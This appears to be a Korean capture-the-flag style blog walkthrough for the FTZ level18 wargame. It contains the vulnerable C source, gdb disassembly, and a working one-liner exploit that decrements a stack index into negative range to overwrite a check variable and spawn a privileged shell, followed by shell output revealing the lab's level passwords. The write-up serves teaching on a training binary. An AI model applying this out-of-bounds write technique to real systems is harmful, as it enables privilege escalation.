[FTZ] level18 ํ’€์ด

2 ๋ถ„ ์†Œ์š”

๐Ÿ’ก FTZ level18 ํ’€์ด

๋ฌธ์ œ

๊ณ„์ • : level18/why did you do it

hint

#include <stdio.h>
#include <sys/time.h>
#include <sys/types.h>
#include <unistd.h>
void shellout(void);
int main()
{
  char string[100];
  int check;
  int x = 0;
  int count = 0;
  fd_set fds;
  printf("Enter your command: ");
  fflush(stdout);
  while(1)
    {
      if(count >= 100)
        printf("what are you trying to do?\n");
      if(check == 0xdeadbeef)
        shellout();
      else
        {
          FD_ZERO(&fds);
          FD_SET(STDIN_FILENO,&fds);

          if(select(FD_SETSIZE, &fds, NULL, NULL, NULL) >= 1)
            {
              if(FD_ISSET(fileno(stdin),&fds))
                {
                  read(fileno(stdin),&x,1);
                  switch(x)
                    {
                      case '\r':
                      case '\n':
                        printf("\a");
                        break;
                      case 0x08:
                        count--;
                        printf("\b \b");
                        break;
                      default:
                        string[count] = x;
                        count++;
                        break;
                    }
                }
            }
        }
    }
}

void shellout(void)
{
  setreuid(3099,3099);
  execl("/bin/sh","sh",NULL);
}

ํ’€์ด

์ด๋ฒˆ ๋ฌธ์ œ๋Š” ํŠน์ดํ•˜๊ฒŒ string ๋ณ€์ˆ˜๊ฐ€ ๊ฐ€์žฅ ๋จผ์ € ์„ ์–ธ๋˜์–ด ์žˆ์Šต๋‹ˆ๋‹ค. ๋Œ€๋žต์ ์œผ๋กœ ์Šคํƒ์„ ๊ทธ๋ ค๋ณด๋ฉด ๋‹ค์Œ๊ณผ ๊ฐ™์Šต๋‹ˆ๋‹ค.

string[100]
check
x
count
...

์ด๋ ‡๊ฒŒ ์Šคํƒ์ด ๊ตฌ์„ฑ๋˜๋ฉด ์ผ๋ฐ˜์ ์œผ๋กœ๋Š” string์— ์“ฐ๊ธฐ๋งŒ ํ•ด์„œ๋Š” ๋‹ค๋ฅธ ๋ณ€์ˆ˜๋ฅผ ๋ฎ์„ ์ˆ˜๊ฐ€ ์—†์Šต๋‹ˆ๋‹ค. ํ•˜์ง€๋งŒ ์ด๋ฒˆ ๋ฌธ์ œ์—์„œ๋Š” string์˜ ์ธ๋ฑ์‹ฑ์„ count ๋ณ€์ˆ˜๋กœ ํ•˜๋ฉฐ, ์ด count ๋ณ€์ˆ˜๊ฐ€ ์Œ์ˆ˜๊ฐ€ ๋  ์ˆ˜ ์žˆ๋‹ค๋Š” ์ ์ด ํฌ์ธํŠธ์ž…๋‹ˆ๋‹ค.

์ฆ‰ count = -4 ์ผ๋•Œ, string[count]๋กœ ์ ‘๊ทผํ•˜๋ฉด check๋ฅผ ํฌํ•จํ•œ ๋‹ค๋ฅธ ๋ณ€์ˆ˜๋“ค์— ์ ‘๊ทผ์ด ๊ฐ€๋Šฅํ•ด ์ง‘๋‹ˆ๋‹ค.

gdb๋กœ ๋จผ์ € ์Šคํƒ์„ ๋ถ„์„ํ•ฉ๋‹ˆ๋‹ค.

[level18@ftz level18]$ gdb -q attackme
(no debugging symbols found)...(gdb)
(gdb)
(gdb) set disas intel
(gdb) disass main
Dump of assembler code for function main:
0x08048550 <main+0>:    push   ebp
0x08048551 <main+1>:    mov    ebp,esp
0x08048553 <main+3>:    sub    esp,0x100
0x08048559 <main+9>:    push   edi
0x0804855a <main+10>:   push   esi
0x0804855b <main+11>:   push   ebx
0x0804855c <main+12>:   mov    DWORD PTR [ebp-108],0x0  //x=0
0x08048563 <main+19>:   mov    DWORD PTR [ebp-112],0x0  //count =0
0x0804856a <main+26>:   push   0x8048800
0x0804856f <main+31>:   call   0x8048470 <printf>
0x08048574 <main+36>:   add    esp,0x4
0x08048577 <main+39>:   mov    eax,ds:0x804993c
0x0804857c <main+44>:   mov    DWORD PTR [ebp-252],eax
0x08048582 <main+50>:   mov    ecx,DWORD PTR [ebp-252]
0x08048588 <main+56>:   push   ecx
0x08048589 <main+57>:   call   0x8048430 <fflush>
0x0804858e <main+62>:   add    esp,0x4
0x08048591 <main+65>:   jmp    0x8048598 <main+72>
0x08048593 <main+67>:   jmp    0x8048775 <main+549>
0x08048598 <main+72>:   cmp    DWORD PTR [ebp-112],0x63 // count<100 ๋น„๊ต
0x0804859c <main+76>:   jle    0x80485ab <main+91>
0x0804859e <main+78>:   push   0x8048815
0x080485a3 <main+83>:   call   0x8048470 <printf>
0x080485a8 <main+88>:   add    esp,0x4
0x080485ab <main+91>:   cmp    DWORD PTR [ebp-104],0xdeadbeef // check = 0xdeadbeef ๋น„๊ต
0x080485b2 <main+98>:   jne    0x80485c0 <main+112>
0x080485b4 <main+100>:  call   0x8048780 <shellout>
0x080485b9 <main+105>:  jmp    0x8048770 <main+544>
0x080485be <main+110>:  mov    esi,esi
0x080485c0 <main+112>:  lea    edi,[ebp-240]

... ์ƒ๋žต

์œ„์˜ ๋ณ€์ˆ˜๋“ค์„ ๋ณด๋ฉด ์Šคํƒ์ด ๋‹ค์Œ๊ณผ ๊ฐ™๋‹ค๋Š” ๊ฑธ ์•Œ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

string (100byte) // ebp-100
check (4byte)    // ebp-104
x (4byte)        // ebp-108
count (4byte)    // ebp-112

๋”ฐ๋ผ์„œ count ๊ฐ’์„ -4๋กœ ๋งŒ๋“ค์–ด์„œ ๋ฉ”๋ชจ๋ฆฌ์— ์ ‘๊ทผํ•˜๋ฉด, check ๋ณ€์ˆ˜์— ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

์ฝ”๋“œ๋ฅผ ๋ณด๋ฉด โ€˜\x08โ€™์ผ๋•Œ count๊ฐ€ 1์”ฉ ๊ฐ์†Œํ•˜๋ฏ€๋กœ โ€˜\x08โ€™์„ 4๋ฒˆ ์ž…๋ ฅํ•œ ๋’ค์—, check๊ฐ’์„ ๋„ฃ์–ด์ฃผ๋ฉด ๋ฉ๋‹ˆ๋‹ค.

[level18@ftz level18]$ (python -c 'print("\x08"*4 + "\xef\xbe\xad\xde")';cat) | ./attackme
Enter your command:
id
uid=3099(level19) gid=3098(level18) groups=3098(level18)

my-pass
Level19 Password is "swimming in pink".

์‰˜์„ ํš๋“ํ–ˆ์Šต๋‹ˆ๋‹ค.

ํƒœ๊ทธ:

์นดํ…Œ๊ณ ๋ฆฌ:

์—…๋ฐ์ดํŠธ:

๋Œ“๊ธ€๋‚จ๊ธฐ๊ธฐ